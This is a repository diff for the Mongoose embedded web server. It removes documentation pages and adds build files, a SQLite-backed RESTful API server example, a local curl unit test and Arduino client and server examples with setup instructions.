Default: not set, per-directory `.htpasswd` files are respected.
### hide\_files\_patterns
A pattern for the files to hide. Files that match the pattern will not
show up in directory listing and return `404 Not Found` if requested. Pattern
must be for a file name only, not including directory name, e.g.
`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
not set.
### idle\_timeout\_ms
Timeout for idle connections. Default: 30000 (30 seconds)
### index_files
Comma-separated list of files to be treated as directory index
files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
### ssl_certificate
Path to SSL certificate file. The file must be in PEM format,
and it must have both private key and certificate, see for example
[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
`listening_port`. Default: not set.
### listening_port
Port to listen on. Port could be prepended by the specific IP address to bind
to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
will bind to all addresses. Default: 8080.
### run\_as\_user
Switch to given user credentials after startup. UNIX-only. This option is
required when mongoose needs to bind on privileged port on UNIX, e.g.
$ sudo mongoose -listening_ports 80 -run_as_user nobody
Default: not set.
### url\_rewrite\_patterns
Comma-separated list of URL rewrites in the form of
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
it constructs the file name to show by combining `document_root` and the URI.
However, if the rewrite option is used and `uri_pattern` matches the
requested URI, then `document_root` is ignored. Insted,
`file_or_directory_path` is used, which should be a full path name or
a path relative to the web server's current working directory. Note that
`uri_pattern`, as all mongoose patterns, is a prefix pattern.
This makes it possible to serve many directories outside from `document_root`,
redirect all requests to scripts, and do other tricky things. For example,
to redirect all accesses to `.doc` files to a special script, do:
mongoose -url_rewrite_patterns **.doc$=/path/to/cgi-bin/handle_doc.cgi
Or, to imitate user home directories support, do:
mongoose -url_rewrite_patterns /~joe/=/home/joe/,/~bill=/home/bill/
Default: not set.
-75
View File
@@ -1,75 +0,0 @@
# Mongoose SSL guide
SSL is a protocol that makes web communication secure. To enable SSL
in mongoose, 3 steps are required:
1. Valid certificate file must be created
2. `ssl_certificate` options must be set to contain path to the
certificate file.
3. `listening_ports` option must contain a port number with letter `s`
appended to it, which instructs Mongoose to use SSL for all connections
made to that port.
Below is the `mongoose.conf` file snippet for typical SSL setup:
document_root www_root # Serve files in www_root directory
listening_ports 80r,443s # Redirect all HTTP requests to HTTPS
ssl_certificate ssl_cert.pem # Location of certificate file
## How to create SSL certificate file
SSL certificate file is a text file that must contain at least two
sections:
1. A private key
2. A certificate
Both sections should be chunks of text in PEM format. When PEM file is
opened in a text editor, it looks like this:
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
Two aforementioned sections are clearly seen. Typically, those section
are bigger then in the example shown. The text between the `BEGIN` and
`END` is the text representation of binary data, a private key and a
certificate. Therefore, in order to create a certificate file,
* private key must be converted to PEM format
* certificate must be converted to PEM format
* those two should be concatenated into a single file
If the certificate chain in used, a chain file also needs to be
converted into PEM format and appended to the certificate file.
## How SSL works
SSL is a protocol that can encrypt communication between two parties. If third
party observes all messages passed by, it would be very
hard for the third party (though not impossible) to decrypt the communication.
The idea is based on so-called public key encryption. Communicating parties
have two keys: a public key and a private key. A public key is advertised
to everybody, and it is contained in a certificate. A private key is kept
secret. Security algorithm works in a way that anybody can encrypt
a message using public key, and only private key can decrypt it.
This is why web server needs both private key and certificate: private key
is used to decrypt incoming messages, and certificate is used to tell the
public key to the other party. When communication starts, parties exchange
their public keys, and keep private keys to themselves. Man-in-the-middle
who observes the communication is unable to decrypt the messages cause
private keys are required for decryption.
Encryption algorithms are built on top of hard mathematical problem, which
makes it very expensive for man-in-the-middle to compute private keys.
For example, RSA algorithm is based on a mathematical problem of factorization.
It is easy to generate two very large prime numbers `P` and `Q` and make
a product `P * Q`. But given a product, it is very hard to recover these
two prime numbers - this is called factorization.
-85
View File
@@ -1,85 +0,0 @@
# Mongoose User Guide
Mongoose is small and easy to use web server built on top of
mongoose library. It is designed with maximum simplicity in mind. For example,
to share any directory, just drop mongoose executable file in that directory,
double-click it (on UNIX, run it from shell) and launch a browser at
[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
be changed to a machine's name if a folder is accessed from other computer.
On Windows and Mac, Mongoose iconifies itself to the system tray when started.
Right-click on the icon pops up a menu, where it is possible to stop
mongoose, or configure it.
On UNIX, `mongoose` is a command line utility. Running `mongoose` in
terminal, optionally followed by configuration parameters
(`mongoose [OPTIONS]`) or configuration file name
(`mongoose [config_file_name]`) starts the
web server:
$ mongoose -document_root /var/www # Running mongoose with cmdline options
$ mongoose /etc/my_config.txt # Running mongoose with config file
$ mongoose # Running with no parameters. This will
# serve current directory on port 8080
Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
stops the server.
When started, mongoose first searches for the configuration file.
If configuration file is specified explicitly in the command line, then
specified configuration file is used.
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
where binary is located, and use it. Configuration file can be absent.
Configuration file is a sequence of lines, each line containing
command line argument name and it's value. Empty lines and lines beginning
with `#` are ignored. Here is the example of `mongoose.conf` file:
# This is a comment
document_root C:\www
listening_port 80
ssl_certificate C:\mongoose\ssl_cert.pem
Command line arguments are highest priority and can override
configuration file settings. For example, if `mongoose.conf` has line
`document_root /var/www`, and mongoose has been started as
`mongoose -document_root /etc`, then `/etc` directory will be used as
document root.
Note that configuration options on the command line must start with `-`,
and their names are the same as in the config file. Exampli gratia,
the following two setups are equivalent:
$ mongoose -listening_port 1234 -document_root /var/www
$ cat > mongoose.conf
listening_ports 1234
document_root /var/www
^D
$ mongoose
Mongoose can also be used to modify `.htpasswd` passwords file:
$ mongoose -A .htpasswd mydomain.com user_name user_password
Unlike other web servers, mongoose does not require CGI scripts be located in
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
recognized by the file name pattern. Mongoose uses shell-like glob
patterns. Pattern match starts at the beginning of the string, so essentially
patterns are prefix patterns. Syntax is as follows:
** Matches everything
* Matches everything but slash character, '/'
? Matches any character
$ Matches the end of the string
| Matches if pattern on the left side or the right side matches.
All other characters in the pattern match themselves. Examples:
**.cgi$ Any string that ends with .cgi
/foo Any string that begins with /foo
**a$|**b$ Any string that ends with a or b
To restrict CGI files only to `/cgi-bin/` directory, use this setting:
$ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction
+1
View File
@@ -0,0 +1 @@
*.exe
+9 -40
View File
@@ -1,46 +1,15 @@
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(COPT) # Copyright (c) 2014 Cesanta Software
DLL_FLAGS = -DLUA_COMPAT_ALL -I../build # All rights reserved
ifeq ($(OS),Windows_NT) SUBDIRS = $(sort $(dir $(wildcard */)))
else X = $(SUBDIRS)
UNAME_S := $(shell uname -s)
DLL_FLAGS += -shared
ifeq ($(UNAME_S),Linux) .PHONY: $(SUBDIRS)
CFLAGS += -ldl
endif
ifeq ($(UNAME_S),Darwin) all: $(SUBDIRS)
# DLL_FLAGS += -bundle -undefined dynamic_lookup -dynamiclib
DLL_FLAGS += -flat_namespace -undefined suppress -dynamiclib
endif
endif
all: $(SUBDIRS):
$(CC) hello.c ../mongoose.c -o hello $(CFLAGS) @$(MAKE) -C $@
$(CC) qcomm.c ../mongoose.c -o qcomm $(CFLAGS)
$(CC) post.c ../mongoose.c -o post $(CFLAGS)
$(CC) multi_threaded.c ../mongoose.c -o multi_threaded $(CFLAGS)
# $(CC) upload.c ../mongoose.c -o upload $(CFLAGS)
# $(CC) -DUSE_WEBSOCKET websocket.c ../mongoose.c -o $@ $(CFLAGS)
# $(CC) chat.c ../mongoose.c -o chat $(CFLAGS)
# $(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS)
MSVC = ../../vc6
CL = $(MSVC)/bin/cl
CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \
/I$(MSVC)/include /I.. /Dsnprintf=_snprintf
LFLAGS = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
windows:
$(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) multi_threaded.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
# $(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
# $(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
#$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll
clean: clean:
rm -rf hello upload post websocket chat *.exe *.dSYM *.obj .*o for d in $(SUBDIRS) ; do $(MAKE) -C $$d clean ; done
+25
View File
@@ -0,0 +1,25 @@
PROG = api_server
SOURCES = $(PROG).c sqlite3.c db_plugin_sqlite.c ../../mongoose.c
CFLAGS = -W -Wall -pthread $(CFLAGS_EXTRA)
ifeq ($(OS), Windows_NT)
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S), Linux)
CFLAGS += -ldl -lm
endif
endif
all: $(PROG)
$(PROG): $(SOURCES)
$(CC) $(SOURCES) -o $@ $(CFLAGS)
$(PROG).exe: $(SOURCES)
cl $(SOURCES) /I.. /MD /Fe$@
test: $(PROG)
sh unit_test.sh $$(pwd)/$(PROG)
clean:
rm -rf *.gc* *.dSYM *.exe *.obj *.o a.out $(PROG)
+104
View File
@@ -0,0 +1,104 @@
/*
* Copyright (c) 2014 Cesanta Software Limited
* All rights reserved
*/
#include "db_plugin.h"
static const char *s_http_port = "8000";
static struct mg_serve_http_opts s_http_server_opts;
static int s_sig_num = 0;
static void *s_db_handle = NULL;
static const char *s_db_path = "api_server.db";
static const struct mg_str s_get_method = MG_STR("GET");
static const struct mg_str s_put_method = MG_STR("PUT");
static const struct mg_str s_delele_method = MG_STR("DELETE");
static void signal_handler(int sig_num) {
signal(sig_num, signal_handler);
s_sig_num = sig_num;
}
static int has_prefix(const struct mg_str *uri, const struct mg_str *prefix) {
return uri->len > prefix->len && memcmp(uri->p, prefix->p, prefix->len) == 0;
}
static int is_equal(const struct mg_str *s1, const struct mg_str *s2) {
return s1->len == s2->len && memcmp(s1->p, s2->p, s2->len) == 0;
}
static void ev_handler(struct mg_connection *nc, int ev, void *ev_data) {
static const struct mg_str api_prefix = MG_STR("/api/v1");
struct http_message *hm = (struct http_message *) ev_data;
struct mg_str key;
switch (ev) {
case MG_EV_HTTP_REQUEST:
if (has_prefix(&hm->uri, &api_prefix)) {
key.p = hm->uri.p + api_prefix.len;
key.len = hm->uri.len - api_prefix.len;
if (is_equal(&hm->method, &s_get_method)) {
db_op(nc, hm, &key, s_db_handle, API_OP_GET);
} else if (is_equal(&hm->method, &s_put_method)) {
db_op(nc, hm, &key, s_db_handle, API_OP_SET);
} else if (is_equal(&hm->method, &s_delele_method)) {
db_op(nc, hm, &key, s_db_handle, API_OP_DEL);
} else {
mg_printf(nc, "%s",
"HTTP/1.0 501 Not Implemented\r\n"
"Content-Length: 0\r\n\r\n");
}
} else {
mg_serve_http(nc, hm, s_http_server_opts); /* Serve static content */
}
break;
default:
break;
}
}
int main(int argc, char *argv[]) {
struct mg_mgr mgr;
struct mg_connection *nc;
int i;
/* Open listening socket */
mg_mgr_init(&mgr, NULL);
nc = mg_bind(&mgr, s_http_port, ev_handler);
mg_set_protocol_http_websocket(nc);
s_http_server_opts.document_root = "web_root";
/* Parse command line arguments */
for (i = 1; i < argc; i++) {
if (strcmp(argv[i], "-D") == 0) {
mgr.hexdump_file = argv[++i];
} else if (strcmp(argv[i], "-f") == 0) {
s_db_path = argv[++i];
} else if (strcmp(argv[i], "-r") == 0) {
s_http_server_opts.document_root = argv[++i];
}
}
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
/* Open database */
if ((s_db_handle = db_open(s_db_path)) == NULL) {
fprintf(stderr, "Cannot open DB [%s]\n", s_db_path);
exit(EXIT_FAILURE);
}
/* Run event loop until signal is received */
printf("Starting RESTful server on port %s\n", s_http_port);
while (s_sig_num == 0) {
mg_mgr_poll(&mgr, 1000);
}
/* Cleanup */
mg_mgr_free(&mgr);
db_close(&s_db_handle);
printf("Exiting on signal %d\n", s_sig_num);
return 0;
}
+19
View File
@@ -0,0 +1,19 @@
/*
* Copyright (c) 2014 Cesanta Software Limited
* All rights reserved
*/
#ifndef DB_PLUGIN_HEADER_DEFINED
#define DB_PLUGIN_HEADER_DEFINED
#include "../../mongoose.h"
void *db_open(const char *db_path);
void db_close(void **db_handle);
enum { API_OP_GET, API_OP_SET, API_OP_DEL };
void db_op(struct mg_connection *nc, const struct http_message *hm,
const struct mg_str *key, void *db, int op);
#endif /* DB_PLUGIN_HEADER_DEFINED */
+107
View File
@@ -0,0 +1,107 @@
/*
* Copyright (c) 2014 Cesanta Software Limited
* All rights reserved
*/
#include "db_plugin.h"
#include "sqlite3.h"
void *db_open(const char *db_path) {
sqlite3 *db = NULL;
if (sqlite3_open_v2(db_path, &db, SQLITE_OPEN_READWRITE |
SQLITE_OPEN_CREATE | SQLITE_OPEN_FULLMUTEX, NULL) == SQLITE_OK) {
sqlite3_exec(db, "CREATE TABLE IF NOT EXISTS kv(key PRIMARY KEY, val);",
0, 0, 0);
}
return db;
}
void db_close(void **db_handle) {
if (db_handle != NULL && *db_handle != NULL) {
sqlite3_close(*db_handle);
*db_handle = NULL;
}
}
static void op_set(struct mg_connection *nc, const struct http_message *hm,
const struct mg_str *key, void *db) {
sqlite3_stmt *stmt = NULL;
char value[200];
const struct mg_str *body = hm->query_string.len > 0 ?
&hm->query_string : &hm->body;
mg_get_http_var(body, "value", value, sizeof(value));
if (sqlite3_prepare_v2(db, "INSERT OR REPLACE INTO kv VALUES (?, ?);",
-1, &stmt, NULL) == SQLITE_OK) {
sqlite3_bind_text(stmt, 1, key->p, key->len, SQLITE_STATIC);
sqlite3_bind_text(stmt, 2, value, strlen(value), SQLITE_STATIC);
sqlite3_step(stmt);
sqlite3_finalize(stmt);
}
mg_printf(nc, "%s", "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
}
static void op_get(struct mg_connection *nc, const struct http_message *hm,
const struct mg_str *key, void *db) {
sqlite3_stmt *stmt = NULL;
const char *data = NULL;
int result;
(void) hm;
if (sqlite3_prepare_v2(db, "SELECT val FROM kv WHERE key = ?;",
-1, &stmt, NULL) == SQLITE_OK) {
sqlite3_bind_text(stmt, 1, key->p, key->len, SQLITE_STATIC);
result = sqlite3_step(stmt);
data = (char *) sqlite3_column_text(stmt, 0);
if ((result == SQLITE_OK || result == SQLITE_ROW) && data != NULL) {
mg_printf(nc, "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Content-Length: %d\r\n\r\n%s",
(int) strlen(data), data);
} else {
mg_printf(nc, "%s", "HTTP/1.1 404 Not Found\r\n"
"Content-Length: 0\r\n\r\n");
}
sqlite3_finalize(stmt);
} else {
mg_printf(nc, "%s", "HTTP/1.1 500 Server Error\r\n"
"Content-Length: 0\r\n\r\n");
}
}
static void op_del(struct mg_connection *nc, const struct http_message *hm,
const struct mg_str *key, void *db) {
sqlite3_stmt *stmt = NULL;
int result;
(void) hm;
if (sqlite3_prepare_v2(db, "DELETE FROM kv WHERE key = ?;",
-1, &stmt, NULL) == SQLITE_OK) {
sqlite3_bind_text(stmt, 1, key->p, key->len, SQLITE_STATIC);
result = sqlite3_step(stmt);
if (result == SQLITE_OK || result == SQLITE_ROW) {
mg_printf(nc, "%s", "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
} else {
mg_printf(nc, "%s", "HTTP/1.1 404 Not Found\r\n"
"Content-Length: 0\r\n\r\n");
}
sqlite3_finalize(stmt);
} else {
mg_printf(nc, "%s", "HTTP/1.1 500 Server Error\r\n"
"Content-Length: 0\r\n\r\n");
}
}
void db_op(struct mg_connection *nc, const struct http_message *hm,
const struct mg_str *key, void *db, int op) {
switch (op) {
case API_OP_GET: op_get(nc, hm, key, db); break;
case API_OP_SET: op_set(nc, hm, key, db); break;
case API_OP_DEL: op_del(nc, hm, key, db); break;
default:
mg_printf(nc, "%s", "HTTP/1.0 501 Not Implemented\r\n"
"Content-Length: 0\r\n\r\n");
break;
}
}
@@ -8241,9 +8241,9 @@ typedef INT8_TYPE i8; /* 1-byte signed integer */
** evaluated at runtime. ** evaluated at runtime.
*/ */
#ifdef SQLITE_AMALGAMATION #ifdef SQLITE_AMALGAMATION
SQLITE_PRIVATE const int sqlite3one = 1; const int sqlite3one = 1;
#else #else
SQLITE_PRIVATE const int sqlite3one; const int sqlite3one;
#endif #endif
#if defined(i386) || defined(__i386__) || defined(_M_IX86)\ #if defined(i386) || defined(__i386__) || defined(_M_IX86)\
|| defined(__x86_64) || defined(__x86_64__) || defined(__x86_64) || defined(__x86_64__)
File renamed without changes.
+35
View File
@@ -0,0 +1,35 @@
#!/bin/sh
PROG=$1
PORT=${2:-8000} # If second param is given, this is load balancer port
DB_FILE=/tmp/_$$.db
URL=http://127.0.0.1:$PORT/api/v1
cleanup() {
rm -rf $DB_FILE
kill -9 $PID >/dev/null 2>&1
}
#set -x
trap cleanup EXIT
cleanup
$PROG -f $DB_FILE &
PID=$!
#sleep 1
curl -s -X PUT -d 'value=123' $URL/foo
curl -s -X PUT -d 'value=success' $URL/bar/baz
# Fetch existing key
RESULT=$(curl -s $URL/bar/baz)
test "$RESULT" = "success" || exit 1
# Delete it
curl -s -X DELETE $URL/bar/baz
# Make sure it's deleted - GET must result in 404
RESULT=$(curl -s -i $URL/bar/baz | head -1 | tr -d '\r')
test "$RESULT" = "HTTP/1.1 404 Not Found" || exit 1
exit 0
+38
View File
@@ -0,0 +1,38 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>RESTful API demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
* { outline: none; }
body {
background-color: #789; margin: 0;
padding: 0; font: 16px/1.4 Helvetica, Arial, sans-serif;
font: 16px/1.4 Helvetica, Arial, sans-serif;
}
div.content {
width: 800px; margin: 2em auto; padding: 20px 50px;
background-color: #fff; border-radius: 1em;
}
label { display: inline-block; min-width: 7em; }
input { border: 1px solid #ccc; padding: 0.2em; }
a:link, a:visited { color: #69c; text-decoration: none; }
@media (max-width: 700px) {
body { background-color: #fff; }
div.content { width: auto; margin: 0 auto; padding: 1em; }
}
</style>
<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
<script language="javascript" type="text/javascript">
jQuery(function() {
});
</script>
</head>
<body>
<div class="content">
<h1>API server</h1>
</div>
</body>
</html>
+2
View File
@@ -0,0 +1,2 @@
# This "makefile" is only intended to prevent errors during main makefile execution
all:
+46
View File
@@ -0,0 +1,46 @@
# Arduino Restful Client
This example demonstrates how to use [Mongoose](https://www.cesanta.com/mongoose) to send HTTP commands from Arduino.
Example sends free memory size and current board uptime, but it can be modified to send any user-specific data.
At the moment this example supports [Arduino Mega 2560](http://arduino.cc/en/Main/ArduinoBoardMega2560) board (and compatible) with either W5100-based
network shield (like [Arduino Ethernet Shield](http://arduino.cc/en/Main/ArduinoEthernetShield)) or [CC3000](http://www.ti.com/product/cc3000)-based WIFI Shield.
## Build and run instructions:
###To run with Arduino Ethernet (W5100) shield:
1. Add (Sketch->Add file...) the following files to sketch:
- /mongoose/mongoose.h
- /mongoose/mongoose.c
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
3. Buils and start (in console) /Users/alex/Projects/mongoose/examples/restful_server example
4. Make `board_ip` and `board_mac` variables suitable for your network and board
5. Change IP address in `s_target_address` variable to IP address of host running restful_server
6. Uncomment line `#include <Ethernet.h>`
7. Compile and flash sketch
8. restful_server will start to show current uptime and free memory size (with 5 seconds interval)
###To run with Adafruit WiFi (CC3000) shield:
1. Add (Sketch->Add files...) the following files to sketch:
- /mongoose/mongoose.h
- /mongoose/mongoose.c
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
2. Import Adafruit CC3000 library for mongoose
(select Sketch->Import Library...->Add library... and point
/mongoose/platforms/arduino_wifi_CC3000/adafruit_CC3000_lib_mongoose folder)
3. Buils and start (in console) /Users/alex/Projects/mongoose/examples/restful_server example
4. Make the following variables suitable for your network
- `board_ip`
- `subnet_mask`
- `gateway`
- `dns`
- `wlan_ssid`
- `wlan_pwd`
- `wlan_security`
5. Change IP address in `s_target_address` variable to IP address of host running restful_server
6. Uncomment line `#include <Adafruit_CC3000.h>`
8. Compile and flash sketch
9. restful_server will start to show current uptime and free memory size (with 5 seconds interval)
@@ -0,0 +1,141 @@
/*
* Copyright (c) 2015 Cesanta Software Limited
* All rights reserved
*
* Build and run instructions:
* To run with Arduino Ethernet (W5100) shield:
* -----------------------------------------------------------
* 1. Add (Sketch->Add file...) the following files to sketch:
* - /mongoose/mongoose.h
* - /mongoose/mongoose.c
* - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
* - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
* 2. Buils and run in console /Users/alex/Projects/mongoose/examples/restful_server example
* 3. Make board_ip and board_mac variables suitable for your network and board
* 4. Uncomment line #include <Ethernet.h>
* 5. Change IP address in s_target_address variable to IP address of host running restful_server
* 6. Compile & flash sketch
* 7. restful_server server will start to show current uptime and free memory size (with 5 second interval)
*
* To run with Adafruit WiFi (CC3000) shield:
* -----------------------------------------------------------
* 1. Add (Sketch->Add files...) the following files to sketch:
* - /mongoose/mongoose.h
* - /mongoose/mongoose.c
* - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
* - /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
* 2. Import Adafruit CC3000 library for mongoose (select Sketch->Import Library...->Add library... and point
* /mongoose/platforms/arduino_wifi_CC3000/adafruit_CC3000_lib_mongoose folder
* 3. Buils and run in console /Users/alex/Projects/mongoose/examples/restful_server example
* 4. Make the following variables suitable for your network
* - board_ip
* - subnet_mask
* - gateway
* - dns
* - wlan_ssid
* - wlan_pwd
* - wlan_security
* 5. Uncomment line #include <Adafruit_CC3000.h>
* 6. Compile & flash sketch
* 7. restful_server server will start to show current uptime and free memory size (with 5 second interval) *
*
*/
//#include <Ethernet.h>
//#include <Adafruit_CC3000.h>
#include <SPI.h>
#include "mongoose.h"
// CHANGE THESE VARIABLES
// NB: Devices with the same address must not end up on the same network.
// Use MAC address provided by device manufacturer (e.g. on a sticker).
// If there isn't one, use a random one from the locally administered range.
// See http://en.wikipedia.org/wiki/MAC_address for details.
static uint8_t board_mac[] = {
0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED
};
static uint8_t board_ip[] = {192, 168, 10, 177};
#ifdef WIFI_CC3000
static uint8_t subnet_mask[] = {255, 255, 255, 0};
static uint8_t gateway[] = {192, 168, 10, 254};
static uint8_t dmg_ip[] = {192, 168, 10, 254};
static const char *wlan_ssid = "mynetwork";
static const char *wlan_pwd = "mypassword";
static int wlan_security = WLAN_SEC_WPA2;
#endif
static const char *s_target_address = "192.168.10.3:8000";
/////////////////////////////////////////////
static const char *s_request = "/printcontent";
static uint32_t IP2U32(uint8_t* iparr) {
return ((uint32_t)iparr[0] << 24) | ((uint32_t)iparr[1] << 16) | (iparr[2] << 8) | (iparr[3]);
}
static int get_data_to_send(char* buf, int buf_size) {
// Adding data to send
// It could be any sensor data, now just put uptime & free memory size here
return snprintf(buf, buf_size, "Uptime: %lus Free memory: %db",
millis()/1000, get_freememsize());
}
static void rfc_ev_handler(struct mg_connection *nc, int ev, void *ev_data) {
int connect_status;
switch (ev) {
case NS_CONNECT:
connect_status = * (int *) ev_data;
if (connect_status == 0) {
char buf[100];
int len = get_data_to_send(buf, sizeof(buf));
mg_printf(nc, "POST %s HTTP/1.0\r\nHost: %s\r\nContent-Lenght: %d"
"\r\n\r\n%s", s_request, s_target_address, len, buf);
nc->flags |= MG_F_SEND_AND_CLOSE;
} else {
nc->flags |= MG_F_CLOSE_IMMEDIATELY;
}
break;
default:
break;
}
}
static struct mg_mgr mgr;
static struct mg_connection *nc;
void setup()
{
Serial.begin(9600);
Serial.println("Initialization...");
#if defined(ETHERNET_W5100)
avr_netinit(board_mac, board_ip);
#elif defined(WIFI_CC3000)
if (avr_netinit(wlan_ssid, wlan_pwd, wlan_security, IP2U32(board_ip),
IP2U32(subnet_mask), IP2U32(gateway), IP2U32(dmg_ip)) != 0) {
Serial.println("Initialization error, check network settings");
return;
};
#endif
mg_mgr_init(&mgr, NULL);
Serial.println("Initialization done");
}
void loop() {
nc = mg_connect(&mgr, s_target_address, rfc_ev_handler);
if (nc != NULL) {
mg_set_protocol_http_websocket(nc);
}
uint32_t time_to_finish = millis() + 5000;
while (millis() < time_to_finish) {
mg_mgr_poll(&mgr, 1000);
}
}
+2
View File
@@ -0,0 +1,2 @@
# This "makefile" is only intended to prevent errors during main makefile execution
all:
+45
View File
@@ -0,0 +1,45 @@
# Arduino Restful Server
This example demonstrates how to use [Mongoose](https://www.cesanta.com/mongoose) to control Arduino
using HTTP requests.
Example just blinks by LED when Mongoose receives HTTP command, but it can be modified to execute any user-specific code.
At the moment this example supports [Arduino Mega 2560](http://arduino.cc/en/Main/ArduinoBoardMega2560) board (and compatible) with either W5100-based
network shield (like [Arduino Ethernet Shield](http://arduino.cc/en/Main/ArduinoEthernetShield)) or [CC3000](http://www.ti.com/product/cc3000)-based WIFI Shield.
## Build and run instructions:
###To run with Arduino Ethernet (W5100) shield:
1. Add (Sketch->Add file...) the following files to sketch:
- /mongoose/mongoose.h
- /mongoose/mongoose.c
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
2. Make `board_ip` and `board_mac` variables suitable for your network and board
3. Uncomment line `#include <Ethernet.h>`
4. Compile and flash sketch
5. Run `curl http://<board_ip/blink`
LED attached to PIN 13 will blink and board free memory size and board uptime will be displayed.
###To run with Adafruit WiFi (CC3000) shield:
1. Add (Sketch->Add files...) the following files to sketch:
- /mongoose/mongoose.h
- /mongoose/mongoose.c
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.h
- /mongoose/platforms/arduino_ethernet_W5100/avrsupport.cpp
2. Import Adafruit CC3000 library for mongoose
(select Sketch->Import Library...->Add library... and point
/mongoose/platforms/arduino_wifi_CC3000/adafruit_CC3000_lib_mongoose folder)
3. Make the following variables suitable for your network
- `board_ip`
- `subnet_mask`
- `gateway`
- `dns`
- `wlan_ssid`
- `wlan_pwd`
- `wlan_security`
5. Uncomment line `#include <Adafruit_CC3000.h>`
4. Compile and flash sketch
5. Run curl `http://<board_ip/blink`
LED attached to PIN 13 will blink and board free memory size and board uptime will be displayed.
Loaded 100 of 183 files, more files were not shown because too many files have changed in this diff. Show more